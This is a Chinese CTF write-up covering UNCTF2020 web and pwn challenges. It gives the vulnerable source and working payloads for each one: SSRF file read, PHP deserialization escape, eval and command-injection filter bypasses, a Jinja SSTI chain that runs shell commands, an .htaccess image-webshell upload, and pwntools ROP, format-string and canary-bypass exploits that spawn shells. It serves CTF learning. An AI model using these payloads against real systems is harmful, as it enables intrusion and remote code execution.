UNCTF2020 部分题目总结
接触ctf开始马上快三个月了签到赛参加的也挺多了 这是第一个能写出来题目的比赛 记录一下一部分题目
文章目录
web
easy_ssrf
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
?>
官方wp给的解释:当php遇到一个不认识的protocol时,会抛出一个warning,并将protocol设置为null,在protoco为null或file时,则进行本地操作。默认情况下不传协议或传入了不存在协议,会进行本地文件操作。
所以我们只要开头放一个不存在的协议或者不用协议,在进行任意文件读取即可
payload:
unctf.com/../../../../../../flag
或者
0://unctf.com/../../../../../../flag
等等
easyunserialize
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
一个经典的反序列化尾部逃逸的例子
当进行完反序列化操作后,在进行对反序列化的字符串内容替换时,都有可能造成字符逃逸,分为首部和尾部两种
关于字符逃逸
根据正则替换,每次替换多出4个长度,构造payload:
?1=challengechallengeechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}"""
后面多出来的双引号用来凑长度的
ezphp
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
一道基本的php反序列化的题目
让反序列化结果的username
和password
与环境中的值相等
exp:
<?php
$payload = array('username' => 0,'password' =>0 );
var_dump(serialize($payload));
?>
将得到的结果POST过去
a:2:{s:8:“username”;i:0;s:8:“password”;i:0;}
babyeval
<?php
// flag在flag.php
if(isset($_GET['a'])){
if(preg_match('/\(.*\)/', $_GET['a']))
die('hacker!!!');
ob_start(function($data){
if (strpos($data, 'flag') !== false)
return 'ByeBye hacker';
return false;
});
eval($_GET['a']);
} else {
highlight_file(__FILE__);
}
?>
题目中过滤了括号,那么我们就用不需要括号的函数,比如include
返回内容中也不能带有flag,那么我们就用编码绕过
payload:
?a=include$_GET[1];?>&1=php://filter/convert.base64-encode/resource=flag.php
看了下官方的wp:
/?a=system(%27%0acat%20f*%20|%20base64%27);
/?a=echo `base64 flag.php`;
emmmmmmmmm
easyfind
给了提示:
提示1:if(!(is_file($name)===false)){flag}else{no flag}
传个数组或者%00过去就可以了
UN’s_online_tools
输入url发现GET传参,根据页面的PING很容易想到命令执行
首先发现过滤了空格这里可以使用%09
绕过
发现cat
等常用命令也被过滤了 可以使用grep
命令
payload直接在url传:
||grep%09"-"%09/f???
easyflask
这题感觉出了点问题,官方wp说是伪造session,改成admin登陆,但是直接注册admin就可以了
访问后用guess传参,发现存在ssti
接下来就是常见的ssti绕过了
payload:
?guess={{request|attr(request.args.application)|attr(request.args.globals)|attr(request.args.getitem)(request.args.builtins)|attr(request.args.getitem)(request.args.import)(request.args.os)|attr(request.args.popen)(request.args.zhiling)|attr(request.args.read)()}}&application=application&globals=globals&getitem=getitem&builtins=builtins&import=import&os=os&popen=popen&zhiling=cat flag.txt&read=read
菜鸡的pyaload看着有亿点点繁琐
easy_upload
随便上传一个jpg文件,成功了
抓包修改,发现过滤了后缀名,不能含有ph,也限制了文件内容
这样的话我们上传 .htaccess文件 通过\
+\n
绕过对ph的检测
上传图片🐎
访问,传参
easyphp
给了提示 传入source得到源码 不知道为什么粘贴过来代码颜色怪怪的 凑活看吧
//只有admin才能设置环境变量
<?php
$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
function fuxkSQL($iText)
{
$oText = $iText;
$oText = str_replace('\\\\', '\\', $oText);
$oText = str_replace('\"', '"', $oText);
$oText = str_replace("\'", "'", $oText);
$oText = str_replace("'", "''", $oText);
return $oText;
}
}
if (!function_exists('getVars')) {
function getVars()
{
$totals = array_merge($_GET, $_POST);
if (count($_GET)) {
foreach ($_GET as $key => $value) {
global ${$key};
if (is_array($value)) {
$temp_array = array();
foreach ($value as $key2 => $value2) {
if (function_exists(“mysql_real_escape_string”)) {
$temp_array[$key2] = fuxkSQL(trim($value2));
} else {
$temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
}
}
${$key} = $_GET[$key] = $temp_array;
} else {
if (function_exists(”mysql_real_escape_string“)) {
${$key} = fuxkSQL(trim($value));
} else {
${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
}
}
}
}
}
}
getVars();
if (isset($source)) {
highlight_file(__FILE__);
}
//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
echo ”you can set config variables!!“ . ”</br>';
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
} else {
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key)) {
echo ($GLOBALS[$key]) . '</br>';
}
}
}
看到最下面的if
语句,可以利用变量覆盖,将adminpassword
指定的值,绕过第一个条件
第二个变量可以利用php弱相等绕过,爆破一下0e
开头的字符串sha1
后还是0e
开头的
第一个小payload:
?source&adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704
接着看一下上面的过滤函数,想办法命令执行
php7里面没有mysql_real_escape_string函数
所以过滤其实很少,只是对'
和"
进行了转义
在php中:
$a=1;
$b=“a”;
则 $$b=1
我们可以利用这个构造payload:
&var1=${$a($b)}&a=system&b=ls /
命令执行成功 结果flag在phpinfo里面emmmmmm
PWN
pwn的签到题真滴多
YLBNB
nc 直接连 说用pwntools在win下发送chcp 65001
就有flag
exp:
from pwn import *
context(os="windows")
re = remote("ip",port)
re.sendline(b"chcp 65001")
print(re.recv())
do_you_like_me?
丢进IDA
发现read函数处存在栈溢出,程序中还有后门函数,直接跳转就行
exp:
from pwn import *
context.log_level="debug"
io = process("./p1")
elf = ELF("p1")
system_addr = elf.plt["system"]
pop_rdi_ret = 0x4007c3
ret = 0x400561
bin_sh_addr = next(elf.search(b"/bin/sh"))
payload = b"Y"*(0x10+8) +p64(ret) +p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()
你真的会pwn嘛?
输入一个数 如果和bss上的一个变量相等就跳转到shell
发现一个格式化字符串漏洞
exp:
from pwn import *
context.log_level = "debug"
bss_addr = 0x60107C
io = process("./pwn")
io.recvuntil("Give me your input : ")
payload = b"ccc%11$n"+p64(bss_addr)
io.sendline(payload)
io.interactive()
fan
进入vul 发现溢出 还有后门函数
exp:
from pwn import *
context.log_level="debug"
io = process("./pwn")
system_sh = 0x400739
payload = b"a"*(0x30+8) +p64(system_sh)
io.recvuntil("input your message")
io.sendline(payload)
io.interactive()
原神
运行一下文件发现是一个抽卡模拟器
观察了一下 伪代码 发现read存在溢出
发现程序中存在system
的plt,那么我们只需要找到一个参数就行
程序中并没有准备好的/bin/sh
我们发现最后输出的抽卡记录是存在于bss段上的变量
我们可以利用计数器来构造sh
或$0
来当成参数
三星最易抽到,对比不难看出,存放三星武器的变量是哪个
于是思路就是不停抽卡,将bss段变量作为system的参数
exp:
from pwn import *
io = process("./GenshinSimulator")
elf = ELF("GenshinSimulator")
shell_num = 0
def add_num(a):
num = 0
if a==10:
io.sendlineafter("请选择:[1]单抽 [2]十连 [3]结束抽卡","2")
elif a==1:
io.sendlineafter("请选择:[1]单抽 [2]十连 [3]结束抽卡\n","1")
io.recvuntil("抽卡结果如下:\n")
for i in range(1,a+1):
data = io.recvline()
if not bytes("★★★★★","utf-8") in data:
if not bytes("★★★★","utf-8") in data:
if bytes("★★★","utf-8") in data:
num+=1
return num
aim = 0x6873
while shell_num != aim:
if shell_num < (aim-10):
shell_num += add_num(10)
else:
shell_num += add_num(1)
io.sendlineafter("请选择:[1]单抽 [2]十连 [3]结束抽卡\n","3")
io.sendlineafter("请选择:[1]向好友炫耀 [2]退出\n","1")
shell_addr = 0x602314
ret = 0x4006c6
pop_rdi_ret = 0x400d13
system_plt = elf.plt["system"]
payload = b"l"*(0x30+8)+p64(ret)+p64(pop_rdi_ret)+p64(shell_addr)+p64(system_plt)
io.send(payload)
io.recv()
io.interactive()
这里的aim
变量为hs
或0$
的16进制
pwngirl
发现开启了Canary
保护
前三个函数都是简单的逻辑,并没有可以利用的地方,直接看第四个函数
发现base数组存在越界
但是紧跟着有个一qsort
函数会打乱我们的payload
发现下面还有一次越界
并且满足v2=27就可以不用排序
但是由于存在Canary
我们无法直接溢出
但是如果将+
,-
之类的的一些特殊字符传入scanf
,它是不会覆盖栈上的内容的,也就绕过了Canary
的保护
由于是int型数组,且数组开头距离ebp
为0x30
所以我们需要覆盖后门函数地址到0x30+8
后,即数组第15个位置
exp:
from pwn import *
io = process("./pwn")
elf = ELF("pwn")
io.sendlineafter("[Y/N/@]","@")
io.sendlineafter("answer the question2:","^")
io.sendlineafter("please input your name:","s")
io.sendlineafter("how many girlfriends do you have?\n","1")
io.sendline("1")
io.sendlineafter("you can change your girlfriend\n","0")
io.sendlineafter("which girlfriend do you want to change?","27")
for i in range(27):
if i!=14:
io.sendlineafter("now change:\n","+")
elif i==14:
io.sendlineafter("now change:\n",str(0x400C08))
io.interactive()